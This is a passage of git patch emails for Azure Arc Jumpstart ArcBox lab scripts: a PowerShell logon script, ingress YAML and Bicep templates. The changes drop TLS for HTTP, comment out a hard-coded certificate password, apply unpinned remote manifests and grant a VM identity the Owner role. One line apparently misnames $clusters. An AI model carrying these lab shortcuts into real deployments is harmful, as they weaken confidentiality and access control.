publicIpAddress.id -// } var k3sControlPlane = 'true' // deploy single-node k3s control plane var diskSize = (flavor == 'DataOps') ? 512 : 64 - - -// resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { -// name: networkInterfaceName -// location: azureLocation -// properties: { -// ipConfigurations: [ -// { -// name: 'ipconfig1' -// properties: { -// subnet: { -// id: subnetId -// } -// privateIPAllocationMethod: 'Dynamic' -// publicIPAddress: deployBastion== false ? PublicIPNoBastion : null -// } -// } -// ] -// } -// } - -// resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ -// name: publicIpAddressName -// location: azureLocation -// properties: { -// publicIPAllocationMethod: 'Static' -// publicIPAddressVersion: 'IPv4' -// idleTimeoutInMinutes: 4 -// } -// sku: { -// name: 'Basic' -// } -// } +var numberOfIPAddresses = (flavor == 'DataOps') ? 7 : 5 // The number of IP addresses to create // Create multiple public IP addresses if deployBastion is false resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { From c6cba69df6b3f9400bdeb249fc1c0bb31ac1ae16 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 4 Jun 2024 22:26:14 -0400 Subject: [PATCH 129/506] remove kv extension --- .../artifacts/DevOpsLogonScript.ps1 | 76 +++++++++---------- .../artifacts/devops_ingress/bookbuyer.yaml | 53 ------------- .../artifacts/devops_ingress/bookstore.yaml | 53 ------------- .../artifacts/devops_ingress/hello-arc.yaml | 53 ------------- 4 files changed, 38 insertions(+), 197 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 402eaace64..c805bd1c70 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -10,7 +10,7 @@ $osmCLIReleaseVersion = "v1.2.3" $osmMeshName = "osm" $ingressNamespace = "ingress-nginx" -$certname = "ingress-cert" +# $certname = "ingress-cert" $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" @@ -198,43 +198,43 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml -################################################ -# - Install Key Vault Extension / Create Ingress -################################################ - -Write-Header "Installing KeyVault Extension" - -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -Write-Host "Importing the TLS certificate to Key Vault" -az keyvault certificate import ` - --vault-name $Env:keyVaultName ` - --password "arcbox" ` - --name $certname ` - --file "$Env:TempDir\$certname.pfx" - -Write-Host "Installing Azure Key Vault Kubernetes extension instance" -az k8s-extension create ` - --name 'akvsecretsprovider' ` - --extension-type Microsoft.AzureKeyVaultSecretsProvider ` - --scope cluster ` - --cluster-name $Env:k3sArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --release-namespace kube-system ` - --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - -# Replace Variable values +# ################################################ +# # - Install Key Vault Extension / Create Ingress +# ################################################ + +# Write-Header "Installing KeyVault Extension" + +# Write-Host "Generating a TLS Certificate" +# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" +# $certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText +# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword +# Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword + +# Write-Host "Importing the TLS certificate to Key Vault" +# az keyvault certificate import ` +# --vault-name $Env:keyVaultName ` +# --password "arcbox" ` +# --name $certname ` +# --file "$Env:TempDir\$certname.pfx" + +# Write-Host "Installing Azure Key Vault Kubernetes extension instance" +# az k8s-extension create ` +# --name 'akvsecretsprovider' ` +# --extension-type Microsoft.AzureKeyVaultSecretsProvider ` +# --scope cluster ` +# --cluster-name $Env:k3sArcDataClusterName ` +# --resource-group $Env:resourceGroup ` +# --cluster-type connectedClusters ` +# --release-namespace kube-system ` +# --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' + +# # Replace Variable values Get-ChildItem -Path $Env:ArcBoxKVDir | ForEach-Object { - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_KEYVAULTNAME}', $Env:keyVaultName | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_KEYVAULTNAME}', $Env:keyVaultName | Set-Content -Path $_.FullName (Get-Content -path $_.FullName -Raw) -Replace '\{JS_HOST}', $certdns | Set-Content -Path $_.FullName - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:spnTenantId | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:spnTenantId | Set-Content -Path $_.FullName } Write-Header "Creating Ingress Controller" @@ -242,8 +242,8 @@ Write-Header "Creating Ingress Controller" # Deploy Ingress resources for Bookstore and Hello-Arc App foreach ($namespace in @('bookstore', 'bookbuyer', 'hello-arc')) { # Create the Kubernetes secret with the service principal credentials - kubectl create secret generic secrets-store-creds --namespace $namespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret - kubectl --namespace $namespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true + # kubectl create secret generic secrets-store-creds --namespace $namespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret + # kubectl --namespace $namespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true # Deploy Key Vault resources and Ingress for Book Store and Hello-Arc App kubectl --namespace $namespace apply -f "$Env:ArcBoxKVDir\$namespace.yaml" @@ -284,7 +284,7 @@ Write-Header "Creating Desktop Icons" $shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$certdns" $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml index 1b847169b4..1b611819cc 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml @@ -1,52 +1,3 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: @@ -55,10 +6,6 @@ metadata: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml index 26c8238a15..f02c21a829 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml @@ -1,52 +1,3 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: @@ -55,10 +6,6 @@ metadata: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml index b372aaaf4b..b35c1315a3 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml @@ -1,52 +1,3 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: @@ -55,10 +6,6 @@ metadata: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi rules: - host: {JS_HOST} http: From f846010461152e01fe03b57949485c883074cb21 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 5 Jun 2024 14:45:01 -0400 Subject: [PATCH 130/506] add kubevip for service ip --- .../artifacts/DevOpsLogonScript.ps1 | 130 +++++++++++++++++- 1 file changed, 127 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index c805bd1c70..33f46a174b 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -15,6 +15,12 @@ $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" +$clusters = @( + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = $Env:k3sArcDataClusterName.ToLower() ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + + [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = $Env:k3sArcClusterName.ToLower() ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } +) + Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log # Required for azcopy and Get-AzResource @@ -97,10 +103,128 @@ az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v -# Longhorn setup for RWX-capable storage class -Write-Header "Creating longhorn storage" -kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" +foreach ($cluster in $clusters) { + +Write-Header "Configuring kube-vip on K3s cluster" +kubectx $cluster.context +kubectl apply -f https://kube-vip.io/manifests/rbac.yaml + +$k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``true``].privateIPAddress" -otsv + +$kubeVipDaemonset = @" +apiVersion: apps/v1 +kind: DaemonSet +metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system +spec: + selector: + matchLabels: + app.kubernetes.io/name: kube-vip-ds + template: + metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} +status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 +"@ + +$kubeVipDaemonset | kubectl apply -f - + +# Kube vip cloud controller +kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + +$serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``false``].privateIPAddress" -otsv +$sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} +$lowestServiceIp = $sortedIps[0] +$highestServiceIp = $sortedIps[-1] + +kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp +Start-Sleep -Seconds 30 + +Write-Header "Creating longhorn storage on K3scluster" +kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig Start-Sleep -Seconds 30 +Write-Host "`n" +} + +# # Longhorn setup for RWX-capable storage class +# Write-Header "Creating longhorn storage" +# kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" +# Start-Sleep -Seconds 30 # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" From 541d52610400af5e965b1f485ac17719eadb575d Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 5 Jun 2024 22:36:12 -0400 Subject: [PATCH 131/506] fix kube config --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 33f46a174b..5ecffbc78d 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -16,9 +16,9 @@ $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" $clusters = @( - [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = $Env:k3sArcDataClusterName.ToLower() ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "arcbox-datasvc-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } - [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = $Env:k3sArcClusterName.ToLower() ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } + [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "arcbox-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } ) Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log @@ -207,7 +207,8 @@ $kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml -$serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``false``].privateIPAddress" -otsv +$nicName = $cluster.clusterName + "-NIC" +$serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} $lowestServiceIp = $sortedIps[0] $highestServiceIp = $sortedIps[-1] @@ -228,6 +229,7 @@ Write-Host "`n" # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" +kubectx $clusters[0].context az k8s-extension create ` --name $osmMeshName ` --extension-type Microsoft.openservicemesh ` From 905f5550b97e064d4dccd407a5acd6cd37256195 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 00:06:29 -0400 Subject: [PATCH 132/506] fix nic name --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 5ecffbc78d..6487d5e756 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -109,6 +109,7 @@ Write-Header "Configuring kube-vip on K3s cluster" kubectx $cluster.context kubectl apply -f https://kube-vip.io/manifests/rbac.yaml +$nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``true``].privateIPAddress" -otsv $kubeVipDaemonset = @" @@ -207,7 +208,6 @@ $kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml -$nicName = $cluster.clusterName + "-NIC" $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} $lowestServiceIp = $sortedIps[0] From 246b7d32b0396d75ee24c8dde30bb68c293d87f5 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 13:41:17 -0400 Subject: [PATCH 133/506] fix nic name --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 6487d5e756..7025e8d340 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -110,7 +110,7 @@ kubectx $cluster.context kubectl apply -f https://kube-vip.io/manifests/rbac.yaml $nicName = $cluster.clusterName + "-NIC" -$k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``true``].privateIPAddress" -otsv +$k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv $kubeVipDaemonset = @" apiVersion: apps/v1 From 2cfb09b9d54cd8406e9aabdefc4deaef99115712 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 14:21:02 -0400 Subject: [PATCH 134/506] fix kube config --- .../artifacts/DevOpsLogonScript.ps1 | 30 ++++++++++--------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 7025e8d340..3562707cac 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -18,7 +18,7 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" $clusters = @( [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "arcbox-datasvc-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } - [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "arcbox-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } + [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "arcbox-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } ) Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log @@ -76,17 +76,17 @@ $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($E $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# Merging kubeconfig files from ArcBox-DataSvc-K3s and ArcBox-K3s -Write-Header "Merging ArcBox-DataSvc-K3s & ArcBox-K3s Kubeconfigs" -Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" -$Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" -kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp -kubectl config get-clusters --kubeconfig=C:\users\$Env:USERNAME\.kube\config_tmp -Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config-k3s" -Move-Item -Path "C:\Users\$Env:USERNAME\.kube\config_tmp" -Destination "C:\users\$Env:USERNAME\.kube\config" -$Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" -kubectx +# # Merging kubeconfig files from ArcBox-DataSvc-K3s and ArcBox-K3s +# Write-Header "Merging ArcBox-DataSvc-K3s & ArcBox-K3s Kubeconfigs" +# Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" +# $Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" +# kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp +# kubectl config get-clusters --kubeconfig=C:\users\$Env:USERNAME\.kube\config_tmp +# Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config" +# Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config-k3s" +# Move-Item -Path "C:\Users\$Env:USERNAME\.kube\config_tmp" -Destination "C:\users\$Env:USERNAME\.kube\config" +# $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" +# kubectx # Download OSM binaries Write-Header "Downloading OSM Binaries" @@ -106,7 +106,8 @@ az -v foreach ($cluster in $clusters) { Write-Header "Configuring kube-vip on K3s cluster" -kubectx $cluster.context +$Env:KUBECONFIG=$cluster.kubeConfig +kubectx kubectl apply -f https://kube-vip.io/manifests/rbac.yaml $nicName = $cluster.clusterName + "-NIC" @@ -229,7 +230,8 @@ Write-Host "`n" # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" -kubectx $clusters[0].context +$Env:KUBECONFIG=$cluster[0].kubeConfig +kubectx az k8s-extension create ` --name $osmMeshName ` --extension-type Microsoft.openservicemesh ` From 18cd0b27d09495302b64e538da0f89cf8e1faba7 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 14:48:42 -0400 Subject: [PATCH 135/506] Add role assignment dependency --- .../bicep/kubernetes/ubuntuRancher.bicep | 23 +++++++++++-------- .../bicep/kubernetes/ubuntuRancherNodes.bicep | 23 +++++++++++-------- 2 files changed, 26 insertions(+), 20 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 9eef2d56ff..b06ca94334 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -156,6 +156,16 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } } +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { parent: vm name: 'installscript_k3s' @@ -173,14 +183,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 ] } } -} - -// Add role assignment for the VM: Owner role -resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { - name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') - scope: resourceGroup() - properties: { - principalId: vm.identity.principalId - roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') - } + dependsOn: [ + vmRoleAssignment_Owner + ] } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep index f76002a3a1..50e84b71c9 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -131,6 +131,16 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } } +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { parent: vm name: 'installscript_k3s' @@ -148,14 +158,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 ] } } -} - -// Add role assignment for the VM: Owner role -resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { - name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') - scope: resourceGroup() - properties: { - principalId: vm.identity.principalId - roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 